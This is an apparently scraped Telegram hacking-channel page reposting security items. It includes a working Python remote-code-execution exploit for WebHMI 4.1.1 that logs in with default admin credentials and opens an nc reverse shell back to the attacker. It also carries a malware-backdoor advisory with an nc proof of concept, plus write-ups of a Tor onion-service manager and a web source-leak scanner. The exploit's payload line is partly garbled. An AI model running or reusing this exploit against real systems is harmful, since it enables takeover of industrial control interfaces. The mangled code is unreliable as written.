Hacking Articles Tips Tricks Videos Tutorials
468 subscribers
65.9K photos
15 videos
157 files
132K links
Exploit
Pentesting
Hacking
Red Team
Blue Team
Kali Linux
Bug Bounty
Black Hat
Cyber security etc

@Hacking_Video
@Hacking_attack
Download Telegram
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
WebHMI 4.1.1 Remote Code Execution

https://3.bp.blogspot.com/-L1ywDwIvHnM/WWlvbqBqi6I/AAAAAAAAIPQ/e-y1sGxHKpMGeO7A8b-5LHWSXrbuRWhUwCLcBGAs/s1600/h73.png WebHMI version 4.1.1 suffers from an authenticated remote code execution vulnerability.

MD5 | 5c6601f0567f78397ee89c66260a2cd7Download # Exploit Title: WebHMI 4.1.1 - Remote Code Execution (RCE) (Authenticated)
# Date: 03/01/2022
# Exploit Author: Antonio Cuomo (arkantolo)
# Vendor Homepage: https://webhmi.com.ua/en/
# Version: WebHMI 4.1.1.7662
# Tested on: WebHMI-4.1.1.7662

#!/usr/bin/python
import sys
import re
import argparse
import requests
import time
import subprocess

print("\nWebHMI 4.1.1 - Remote Code Execution (Authenticated)","\nExploit Author: Antonio Cuomo (Arkantolo)\n")
print("Level2 account must be enabled !\n");

login = "admin"
password = "admin"

class Exploit:

def __init__(self, target_ip, target_port, localhost, localport):
self.target_ip = target_ip
self.target_port = target_port
self.localhost = localhost
self.localport = localport

def exploitation(self):
reverse = """rm+/tmp/f%3bmknod+/tmp/f+p%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+""" + localhost + """+""" + localport + """+>/tmp/f"""
payload = ">cmd.php`', cookies=login_cookies)
time.sleep(0.2)

print('[*] Setting up listener...')
listener = subprocess.Popen(["nc", "-nlp", self.localport])
time.sleep(2)

print('[*] Executing payload...')
time.sleep(1)
print('[*] Waiting reverse shell...')
r4 = r.get(url + '/setup/cmd.php?c=`' + reverse + '`.bak', cookies=login_cookies)

if (r4.status_code == 200):
print('[*] Got shell!')
while True:
listener.wait()
else:
print('[-] Something went wrong!')
listener.terminate()

def get_args():
parser = argparse.ArgumentParser(description='WebHMI 4.1.1 - Remote Code Execution (Authenticated)')
parser.add_argument('-t', '--target', dest="url", required=True, action='store', help='Target IP')
parser.add_argument('-p', '--port', dest="target_port", required=True, action='store', help='Target port')
parser.add_argument('-L', '--listener-ip', dest="localhost", required=True, action='store', help='Local listening IP')
parser.add_argument('-P', '--localport', dest="localport", required=True, action='store', help='Local listening port')
args = parser.parse_args()
return args

args = get_args()
target_ip = args.url
target_port = args.target_port
localhost = args.localhost
localport = args.localport

exp = Exploit(target_ip, target_port, localhost, localport)
exp.exploitation()
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
Backdoor.Win32.FTP.Ics Remote Command Execution

https://2.bp.blogspot.com/-S-N0q2XL8x8/WWlu5FDj1eI/AAAAAAAAIJA/vGskVQb_QegQZ0-UZMHSDeFJ08ju6pdGQCLcBGAs/s1600/h104.png
Backdoor.Win32.FTP.Ics malware suffers from an unauthenticated remote command execution vulnerability.

MD5 | 2cba0b8b2807ba610752a11a6744eaf1

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/584bc06128469423f9e50e8a359d18ac_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.FTP.Ics
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 5555. Third-party attackers who can reach the system can run commands made available by the backdoor hijacking the infected host.
Type: PE32
MD5: 584bc06128469423f9e50e8a359d18ac
Vuln ID: MVID-2022-0499
Disclosure: 02/22/2022

Exploit/PoC:
nc64.exe x.x.x.x 5555

C:\dump>
Commande Inconnueexec calc
C:\dump>
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video
How to hunt for bug bounties

The first step when looking for bug bounties is to get to know the target.Continue reading on Medium »
Read more...
Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux Tutorials
Onionservice : Manage Your Onion Services Via CLI Or TUI On Unix-like Operating System

Onionservice is a minimal requirement, portable collection of scripts and documentation to help the service operator juggle (manage) his onion(s).

WARNING: do not trust this repo yet, backup your hs keys in another location. This project has not been released and should be considered for development only.

History

This project was started after seeing the amazing OnionShare CLI python scripts, which possibilitates ephemeral onion services that never touch the disk and can be run on Tails or Whonix easily. Then after seeing the RaspiBlitz onion service bash script for the Raspberry Pi, the idea to port it to any Debian distribution started. As the idea grew, using GNU Bash and Linux was a single point of failure 1 2, so the making the script POSIX compliant to be compatible with any Unix-like system was a definitive goal. Goal

The goal of this project is:

* facilitate onion service management, from activating a service to adding client authorization to it, giving the full capabilities of editing files manually would have but with less tipying.
* show the that managing the onion service is much more than just using a webserver with your pages.
* distribution, from the source code level (FOSS) to the effect it takes when it allows anyone to run the code on any operating system, shell or service manager. Mitigation from a single point of failure

Mitigation from a single point of failure:

* Kernel from predominant Linuxto also BSDand any other Unix-like system.
* Shell from predominant Bashto also any POSIX shell such as ksh, (y,d)ashand Zsh(emulating sh).
* Service manager from predominant Systemdto also RC, OpenRC, SysVinit, Runit.

Editing the tor configuration file (torrc) is not difficult, but automation solves problem of misconfiguration and having:

* less time spent by running a single line command
* no downtime by rejecting invalid configuration before applying them to be used
* complete uniformity
* graphical interface to help newbies Features

* Enable service – Create directory if not existent (HiddenServiceDir), select onion version (HiddenServiceVersion), custom socket type being unix or tcp, with as many virtual ports as you would like, as well as targets (HiddenServicePort).
* Disable service – Remove service configuration from the torrc, the service will not be acessible anymore, but you can enable it again any time you want. Optionally purge the service, deleting its configuration and directory, which will delete its keys permanently.
* Renew service address – Focused on private onion services, if you ever leak its address, you can change its hostname, beware all of your authorized clients will be disconnected and the service keys will be permanently deleted.
* Credentials – Show hostname, clients, torrc block, qrencoded hostname.
* Onion authentication – For v3 onion services only. This depends on client and server side configuration and works with a key pair, the client holds the private key part either generate by him (more safe) or given by the service operator and the onion service operator holds the public part. If any if
* Server – Generate key pair or add public part, list client names and their public keys from . If any client is configured, the service will not be acessible without authentication.
* Client – Generate key pair or add public part, list your .

* Onion-Location – For public onion services You can redirect your plainnet users to your onion service with this guide for nginx, apache2 an[...]

___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
Kali Linux Tutorials Onionservice : Manage Your Onion Services Via CLI Or TUI On Unix-like Operating System Onionservice is a minimal requirement, portable collection of scripts and documentation to help the service operator juggle (manage) his onion(s).…
d html header attributes.
* Backup – Better be safe.
* Create – Backup of your torrclines containing hidden service configuration, all of your directories of HiddenServiceDirand ClientOnionAuthDir.
* Integrate – Integrate hidden serivces lines configuration from torrcand the directories HiddenServiceDirand ClientOnionAuthDirto your current system. This option should be used after creating a backup and importing to the current host.

* OpSec – Operation Security
* Vanguards – This addon protects against guard discovery and related traffic analysis attacks. A guard discovery attack enables an adversary to determine the guard node(s) that are in use by a Tor client and/or Tor onion service. Once the guard node is known, traffic analysis attacks that can deanonymize an onion service (or onion service user) become easier.
* Unix socket – Support for enabling an onion service over unix socket to avoid localhost bypasses.

* Web server – Serve files with your hidden service using Nginx or Apache2 web server.
* Usability – There are two dialog boxes compatible with the project, dialogand whiptail.
* Bulk – Some commands can be bulked with the argument @allto include all services or clients depending on the option --serviceor --client, list enabled arguments[SERV1,SERV2,...] and [CLIENT1,CLIENT2,...], the command will loop the variables and apply the combination.
* Fool-proof – The script tries its best to filter invalid commands and incorrect syntax. The commands are not difficult but at first sight may scare you. Don’t worry, if it is invalid, it won’t run to avoid tor daemon failing to reload because of invalid configuration. If an invalid command runs, please open an issue. Requirements

* General:
* Unix-like system.
* superuser privileges to call commands as root and the tor user, with doasor sudo.

* Required programs:
* sh – any POSIX shell: dash0.5.4+, bash2.03+, ksh88+, mkshR28+, yash2.29+, busybox ash1.1.3+, zsh3.1.9+ (zsh --emulate sh) etc.
* doas/sudo (must be already configured)
* tor >= 0.3.5.7
* grep >=0.9
* sed
* tar (Backup)
* openssl >= 1.1 (Client Authorization – requires algorithm x25519, so it can’t be LibreSSL)
* basez >= 1.6.2 (Client Authorization)
* git (Vanguards)
* python(3)-stem >=1.8.0 (Vanguards)
* dialog/whiptail (TUI)
* nginx/apache2 (Web server)

* Optional programs:
* (lib)qrencode >= 4.1.1 (List)

* Development programs:
* pandoc (Manual)
* shellcheck (Review)
If using Vanguards, python2.6is the minimal required for Stem, but it is not going to be installed by default. Instructions Clone the repository

git clone https://github.com/nyxnor/onionjuggler.git
cd onionjuggler

et custom variables

You should not modify the default configuration on /etc/onionjuggler/onionjuggler.conf, it will be modified on every update. Your local configurations should be on /etc/onionjuggler/conf.d/*.conf.

To assign values to the variables, yyou can either:

* Open the mentioned configuration file with your favorite editor:
* “${EDITOR:-vi}” /etc/onionjuggler/cond.d/local.conf

or insert configuration to the end of the file with tee:

printf “su_cmd=\”sudo\”\n” | tee -a /etc/onionjuggler/cond.d/local.conf

or edit with sed:

sed -i” “s|^su_cmd=.*|su_cmd=\”doas\”|” /etc/onionjuggler/cond.d/local.conf

Setup the enviroment

Run from inside the cloned repository to create the tor directories, create manual pages and copy scripts to path:

./configure.sh –install

Usage configure.sh

configure.sh setup the environment for OnionJuggler by adding the scripts and manual pages to path and detecting your operating system[...]

___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux Tutorials
SourceLeakHacker : A Multi Threads Web Application Source Leak Scanner

SourceLeakHacker is a multi-threads web directories scanner.

Installation

pip install -r requirements.txt

Usage

usage: SourceLeakHacker.py [options]
optional arguments:
-h, –help show this help message and exit
–url URL url to scan, eg: ‘http://127.0.0.1/
–urls URLS file contains urls to scan, one line one url.
–scale {full,tiny} build-in dictionary scale
–output OUTPUT output folder, default: result/YYYY-MM-DD hh:mm:ss
–threads THREADS, -t THREADS
threads numbers, default: 4
–timeout TIMEOUT HTTP request timeout
–level {CRITICAL,ERROR,WARNING,INFO,DEBUG}, -v {CRITICAL,ERROR,WARNING,INFO,DEBUG}
log level
–version, -V show program’s version number and exit

Example

$ python SourceLeakHacker.py –url=http://baidu.com –threads=4 –timeout=8
[302] 0 3.035766 text/html; charset=iso-8859-1 http://baidu.com//_index.php [302] 0 3.038096 text/html; charset=iso-8859-1 http://baidu.com//__index.php.bak

[302] 0 0.063973 text/html; charset=iso-8859-1 http://baidu.com/_adm/_index.php
[302] 0 0.081672 text/html; charset=iso-8859-1 http://baidu.com/_adm/_index.php.bak
Result save in file: result/2020-02-27 07:07:47.csv

$ cat url.txt
http://baidu.com/
http://google.com/
$ python SourceLeakHacker.py –urls=url.txt –threads=4 –timeout=8
[302] 0 2.363600 text/html; charset=iso-8859-1 http://baidu.com/_/__index.php.bak
[302] 0 0.098417 text/html; charset=iso-8859-1 http://baidu.com/_adm/__index.php.bak

[302] 0 0.060524 text/html; charset=iso-8859-1 http://google.com/_adm/_index.php.bak
[302] 0 0.075042 text/html; charset=iso-8859-1 http://baidu.com/_adm/_index.php.back
Result save in file: result/2020-02-27 07:08:54.csv

Demo
https://blogger.googleusercontent.com/img/a/AVvXsEhd9xHc3iuYnE1gfp8QwWl9F8gFnpDETTJm9ltw3UBMC2xhr_PG7GzI1BMDbQSZ72Xklxb5E51hDo9tKN-PHNqBVhhgMfdL4gITWgMPJESc9NRinMSaqHf28zB-g9vgLLSfcqOav3J1rX5CmYOmNOvmVFE8z8EAOFwjcqo9eLMohWdBYAdzExpE38Jc=s1741 https://blogger.googleusercontent.com/img/a/AVvXsEhqm6-NIazQ2rb8KTLT9fq7rsy4g5yBpNNwpqnAPTGjzjWKbECA8tQPbHgyASOOmkniqHYHynU_bLFLYKUTAgnA8kTzrh-vYpsJfJUekJZCVM4g70VUCUbaxdRwKkteR3bz_KZyRzpSxwS8hoHwOrKOxSp_3K2Px12gtvbSpobFtEArkQM_JxWvosiA=s1685 https://blogger.googleusercontent.com/img/a/AVvXsEhh_Zsonh3HGuWx6QfCtI6lB56OwfNpvbBxEnjc7OtudMUMUOVy40WsyQiPKyj301GjZuHkfA7JrWCOS3r9Z3kUWEccdNXqPP7vECsssqMqTpRYpk-QVU9v6IQhfAukanU2Kqu6Rbyavd1X4tQX71C1uZoXanb4JYwl5sr8za6qnGdZzMNHWyUXcN2Q=s1669

Download

___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
d html header attributes. * Backup – Better be safe. * Create – Backup of your torrclines containing hidden service configuration, all of your directories of HiddenServiceDirand ClientOnionAuthDir. * Integrate – Integrate hidden serivces lines configuration…
to fit with its default configuration. It can also be used to uninstall. Common development use is to create manual pages, check shell syntax and do all of the aforementioned and give the git status for files to be commited. The update option is raw and only recommended for development as of now.

Install

configure.sh –install ## -i

Uninstall

configure.sh –uninstall ## -d

Update

configure.sh –update ## -u

tui

onionjuggler-tui wraps the CLI in a Terminal User Interface. Some TUI options will let you edit the authorization files, which is recommended to set your favorite text editor to an environment variable that will be tried on the following order: DOAS_EDITOR/SUDO_EDITOR, if empty will try VISUAL, if empty will try EDITOR, if empty WILL fallback to Vi.

Read the tui manual

man onionjuggler-tui

To use the TUI, just run:

onionjuggler-tui

cli

onionjuggler-cli is the main script that manages the HiddenServices. Take a look at the documentation inside docsfolder, there are many other onion services management guides. Read:

Don’t forget the cli manual and the conf manual for advanced usage:

man onionjuggler-cli
man onionjuggler.conf

To create a service named terminator, it is as easy as possible:

onionjuggler-cli activate -s terminator -p 80

But can be as advanced as specifying all the parameters:

onionjuggler-cli activate –service terminator –socket unix –version 3 –port 80,127.0.0.1:80 Download

___________________________
@hacking_Attack
@Hacking_Video